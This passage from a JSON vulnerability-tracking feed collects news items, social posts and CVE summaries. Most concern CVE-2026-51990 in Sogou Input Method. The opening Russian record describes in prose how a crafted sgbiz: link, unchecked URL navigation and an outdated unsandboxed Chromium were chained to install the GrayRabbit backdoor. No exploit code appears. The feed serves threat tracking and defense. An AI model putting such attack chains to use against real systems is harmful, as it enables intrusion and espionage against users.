\u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 (RCE) \u043e\u0434\u043d\u0438\u043c \u0449\u0435\u043b\u0447\u043a\u043e\u043c \u043c\u044b\u0448\u0438.\n\nSogou Input Method - \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u043b\u044f Windows, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 \u0438\u0435\u0440\u043e\u0433\u043b\u0438\u0444\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0449\u0435\u0435 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0439 \u0434\u0432\u0438\u0436\u043e\u043a Chromium.\n\n\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Sogou Input Method, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0435 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0433\u0438\u0433\u0430\u043d\u0442\u043e\u043c Tencent, \u043f\u043e \u0438\u043c\u0435\u044e\u0449\u0438\u043c\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u043c, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u0432 \u041a\u0438\u0442\u0430\u0435 \u0441\u043e\u0442\u043d\u0438 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0440\u0430\u0437.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Gen Threat Labs, UNC3569 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0442\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435: \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0430\u044f \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 URI sgbiz, \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u0430\u044f \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f \u043f\u043e URL-\u0430\u0434\u0440\u0435\u0441\u0430\u043c \u0432 \u0432\u0435\u0431-\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 CEF \u0438 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0439, \u043d\u0435\u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u0432\u0438\u0436\u043e\u043a \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 Chromium.\n\n\u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0436\u0435\u0440\u0442\u0432\u0430 \u0449\u0435\u043b\u043a\u0430\u0435\u0442 \u043f\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u043c\u0443 URI sgbiz:, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e Windows \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 biz_helper.exe \u043e\u0442 Sogou, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u043c\u0443 \u0444\u0430\u0439\u043b\u0443 SGMyInput.exe \u0431\u0435\u0437 \u0438\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438.\n\n\u0412\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 SkinCenter \u043e\u0442 Sogou \u0438 \u0434\u0430\u044e\u0442 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0435 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u043c\u0443 \u0432 \u043d\u0435\u0433\u043e \u0432\u0435\u0431-\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044e Chromium \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c URL-\u0430\u0434\u0440\u0435\u0441, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c. Sogou \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u0441\u0445\u0435\u043c\u0443 \u0438\u043b\u0438 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 URL-\u0430\u0434\u0440\u0435\u0441\u0430.\n\n\u041d\u0430 \u0442\u0440\u0435\u0442\u044c\u0435\u043c \u044d\u0442\u0430\u043f\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0435\u043c \u0434\u0432\u0438\u0436\u043a\u0435 Chromium 80 \u043e\u0442 Sogou. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0431\u0435\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u0441 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u0432\u0430\u0436\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438 \u0437\u0430\u0449\u0438\u0442\u044b, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 GrayRabbit.\n\n\u0412 2024 \u0433\u043e\u0434\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Google\u00a0\u043e\u043f\u0438\u0441\u0430\u043b\u0438 GrayRabbit\u00a0\u043a\u0430\u043a \u043c\u043e\u0434\u0443\u043b\u044c\u043d\u043e\u0435 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u0438 \u0441\u0432\u044f\u0437\u0430\u043b\u0438 \u0435\u0433\u043e \u0441 UNC3569, \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0439 \u043a\u0430\u043a \u0432 \u0441\u0444\u0435\u0440\u0435 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438, \u0442\u0430\u043a \u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e \u043d\u0430\u0439\u043c\u0443.\n\n\u041e\u0431\u0440\u0430\u0437\u0435\u0446 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e, \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 Gen Threat Labs, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0431\u043e\u043b\u0435\u0435 \u0437\u0440\u0435\u043b\u044b\u0439 64-\u0431\u0438\u0442\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u043c \u043d\u0430\u0431\u043e\u0440\u043e\u043c \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439 C2, \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e RC4.\n\n\u0415\u0433\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0445 \u043e\u0431\u043e\u043b\u043e\u0447\u0435\u043a, \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0438 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432, \u0441\u0431\u043e\u0440 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0440\u0435\u0444\u043b\u0435\u043a\u0441\u0438\u0432\u043d\u0443\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0445\u043e\u0441\u0442\u0430.\n\nGen Threat Labs \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0430\u0441\u044c \u0441\u0432\u043e\u0438\u043c\u0438 \u0432\u044b\u0432\u043e\u0434\u0430\u043c\u0438 \u0441 Tencent 9 \u0430\u043f\u0440\u0435\u043b\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Sogou Input Method 16.3.0.3498 \u043e\u0442 21 \u0430\u043f\u0440\u0435\u043b\u044f.\n\n\u041f\u0430\u0442\u0447 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b URL, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c\u044b\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430, \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e HTTPS \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044e \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u0434\u043e\u043c\u0435\u043d\u0430\u043c\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c\u0438 \u0441 Sogou \u0438 Tencent.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0438, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0443\u0441\u0442\u0430\u0440\u0435\u043b \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0431\u0435\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043c\u043d\u043e\u0433\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u0432\u0435\u0431-\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u044b.", "creation_timestamp": "2026-09-15T00:00:08.418561Z"}, {"uuid": "6fecef12-a462-4053-8789-2704a517e439", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "exploited", "source": "https://t.me/BleepingComputer/25549", "content": "\u200aHackers exploit Tencent app flaw to deploy GrayRabbit malware\n\nThreat actors linked to a China-aligned espionage group are exploiting a critical vulnerability (CVE-2026-51990) in Tencent's Sogou Input Method for Windows to deploy the GrayRabbit backdoor. [...]\n\nhttps://www.bleepingcomputer.com/news/security/hackers-exploit-tencent-app-flaw-to-deploy-grayrabbit-malware/", "creation_timestamp": "2026-09-15T00:00:10.129471Z"}, {"uuid": "08bfa8f7-4380-473f-a9d8-0473a7168a22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mvjz7klh3o2n", "content": "Top 3 CVE for last 7 days:\nCVE-2026-20079: 22 interactions\nCVE-2026-85880: 22 interactions\nCVE-2026-85706: 21 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-51990: 5 interactions\nCVE-2026-76461: 5 interactions\nCVE-2026-85706: 5 interactions\n", "creation_timestamp": "2026-09-15T06:38:06.953080Z"}, {"uuid": "7876d3d6-e890-4aa9-afa0-d10d82bd51b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-51990", "type": "seen", "source": "https://bsky.app/profile/jarkafterdark.com/post/3mvk37wpdgo2m", "content": "the flaw, cve-2026-51990, opened the path to remote code execution through sogou's embedded browser. in the attack gen observed, UNC3569 chained it with an old chromium v8 flaw. one crafted link, one click, and the attacker could essentially do anything the currently logged-in user could do.", "creation_timestamp": "2026-09-15T07:14:06.573695Z"}, {"uuid": "60c17918-7d5d-42c6-84be-62dc3e7dfd21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mvk6n5uc7cym", "content": "\u4e2d\u56fd\u7cfb\u30a2\u30af\u30bf\u30fc\u304cTencent\u88fd\u30bd\u30d5\u30c8\u306e\u91cd\u5927\u306a\u6b20\u9665\u3092\u60aa\u7528\u3057\u3001\u30d0\u30c3\u30af\u30c9\u30a2\u300cGrayRabbit\u300d\u3092\u5c55\u958b\uff08CVE-2026-51990\uff09 | Codebook\uff5cSecurity News https://codebook.machinarecord.com/threatreport/silobreaker-cyber-alert/47725/", "creation_timestamp": "2026-09-15T08:15:12.790640Z"}, {"uuid": "637ffb96-1bdc-451f-a4cb-474b48b5cced", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5153", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-14)", "content": "", "creation_timestamp": "2026-09-15T10:00:05.457425Z"}, {"uuid": "df6926d4-424b-4b3d-837d-838a0278a4fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/getpacketai.bsky.social/post/3mvkl7uotq72g", "content": "China-aligned hackers exploiting critical Tencent flaw to drop GrayRabbit backdoor. CVE-2026-51990 poses immediate risk to Windows users\u2014SOC\u2026\n\nhttps://www.bleepingcomputer.com/news/security/hackers-exploit-tencent-app-flaw-to-deploy-grayrabbit-malware/\n\n#cybersecurity #infosec", "creation_timestamp": "2026-09-15T12:00:24.468935Z"}, {"uuid": "9a7c389c-f0ea-41c9-a039-4c0d2f4c0b6c", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/56d705b6-7c8b-4c3b-87dd-67b77e9b4a9a", "content": "", "creation_timestamp": "2026-09-15T14:00:40.145937Z"}, {"uuid": "282650a1-dda9-4338-bb8b-1c4ed658d2df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mvl4puma3w2l", "content": "A critical flaw (CVE-2026-51990) in Tencent's popular Sogou Input Method is being exploited by Chinese hackers for 1-click RCE. The attack chains a custom protocol handler flaw with an old browser engine. #CyberSecurity #Vulnerability #Tencent\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-09-15T17:13:35.172708Z"}, {"uuid": "1352c5e7-a768-4065-9bcd-3c963f2479f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5153", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-15)", "content": "", "creation_timestamp": "2026-09-16T10:00:03.607868Z"}, {"uuid": "69c24774-c721-4f33-ab2e-806c2d2ba6da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-51990", "type": "seen", "source": "https://bsky.app/profile/oxfemale.bsky.social/post/3mvmwi6ftxf2x", "content": "Original text: \"Gray Rabbits and the Tale of a One-Click Backdoor\" \u2014 Alexandru-Cristian Barda\u0219, Gen Digital / Gen Threat Labs (10 September 2026; 26-minute read). Figures, the command table, IOCs and published URLs be\nhttps://core-jmp.org/2026/09/gray-rabbits-one-click-backdoor-sogou-cve-2026-51990/", "creation_timestamp": "2026-09-16T10:27:15.304560Z"}, {"uuid": "2bb1b3fc-a2a9-457e-9923-d703e67442c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvq6l7lyof2j", "content": "CVE-2026-51990\nThe Sogou Input Method software (versions before 16.3.0.3498) contains a flaw in its biz_helper.exe component that could let a remote attacker run any program on a user\u2019s computer. This could let an attacker\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-17T17:30:04.636491Z"}, {"uuid": "95f92268-dee5-4ad2-a01e-db1ad3473bcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5153", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-17)", "content": "", "creation_timestamp": "2026-09-18T10:00:04.258433Z"}, {"uuid": "c17830e8-a62b-401e-8bdc-847093e75274", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51954", "type": "seen", "source": "Telegram/WbPra8KDBmS3zuaxnZbCqnbdYOYnP0Mz4tPe5TFMDzTSUnQ", "content": "", "creation_timestamp": "2026-09-22T07:00:05.568674Z"}, {"uuid": "5a553fc4-45c2-4f40-a634-c5ac76938ad0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51954", "type": "published-proof-of-concept", "source": "Telegram/WbPra8KDBmS3zuaxnZbCqnbdYOYnP0Mz4tPe5TFMDzTSUnQ", "content": "", "creation_timestamp": "2026-09-23T00:00:25.327392Z"}, {"uuid": "f37370c7-5076-436f-9bf7-7aea84c4da97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51772", "type": "seen", "source": "Telegram/Wgq1BNTsNQk_rBC9PIREH3MUaB-wRqcK6z3rgKCH7ZVQxRE", "content": "", "creation_timestamp": "2026-09-22T21:00:04.000000Z"}, {"uuid": "b82166ae-fdbf-4c5c-a908-60c3901b5cd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51773", "type": "seen", "source": "Telegram/Wgq1BNTsNQk_rBC9PIREH3MUaB-wRqcK6z3rgKCH7ZVQxRE", "content": "", "creation_timestamp": "2026-09-22T21:00:04.000000Z"}, {"uuid": "f5ac05b7-4b32-4ce4-ba83-c21e743cc1c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "seen", "source": "Telegram/k7P4hubjmpq89PaBAJ2zhmDTYdPdpd5wCU1UMIHoF_qLZzg", "content": "", "creation_timestamp": "2026-09-23T03:00:14.000000Z"}, {"uuid": "767f28c8-24fb-4efd-add8-77e3e37490cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51994", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mweiz5bihg2u", "content": "CVE-2026-51994\nVersions 0.1.32 through 0.1.38 of the mcp-remote tool can be tricked into contacting any address specified in a server\u2019s authentication header. This could let a malicious server cause your system to connect to\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-25T19:30:04.248879Z"}, {"uuid": "43aaf4cb-7157-4a1a-b517-5eefb42b9407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "published-proof-of-concept", "source": "Telegram/k7P4hubjmpq89PaBAJ2zhmDTYdPdpd5wCU1UMIHoF_qLZzg", "content": "", "creation_timestamp": "2026-09-23T03:00:14.000000Z"}, {"uuid": "9abf8b17-d42f-457d-bd2e-66d4aae1394e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51851", "type": "seen", "source": "https://gist.github.com/Ro1ME/a1bbf47465175e279a72121cd0df298b", "content": "# CVE-2026-51851\n\n**Type:** Directory Traversal\n**Product:** agent-zero\n**Affected versions:** 1.7, 1.8, 1.9, 1.10\n**Affected component:** `python/helpers/file_browser.py:FileBrowser.save_text_file`\n**Reference:** https://github.com/agent0ai/agent-zero/issues/1541\n\n## Description\n\nmodelscope agent-zero 1.7, 1.8, 1.9, and 1.10 is vulnerable to Directory Traversal in python/helpers/file_browser.py:FileBrowser.save_text_file. The save_text_file method accepts user-controlled file paths without normalization or validation, allowing path traversal attacks.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:00:46.000000Z"}, {"uuid": "75097cad-64dd-4ecb-8fb8-2e4c9eafd44a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51861", "type": "seen", "source": "https://gist.github.com/Ro1ME/a03814bf661b36823c3ef5e32af93298", "content": "# CVE-2026-51861\n\n**Type:** Code Injection\n**Product:** bisheng\n**Affected versions:** 2.3.0\u20132.4.0-beta1\n**Affected component:** `src/backend/bisheng/api/v1/validate.py:post_validate_code`\n**Reference:** https://github.com/dataelement/bisheng/issues/1995\n\n## Description\n\nbisheng 2.3.0, 2.4.0, and 2.4.0-beta1 is vulnerable to Code Injection in src/backend/bisheng/api/v1/validate.py.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:02:31.000000Z"}, {"uuid": "df9962bb-52b1-4f83-a7a5-c9b8a96b9c24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51858", "type": "seen", "source": "https://gist.github.com/Ro1ME/1efc7b63bded3e4d39c54ff7b0caedf4", "content": "# CVE-2026-51858\n\n**Type:** Code Execution\n**Product:** camel-ai\n**Affected versions:** 0.2.91a1\u20130.2.91a3\n**Affected component:** 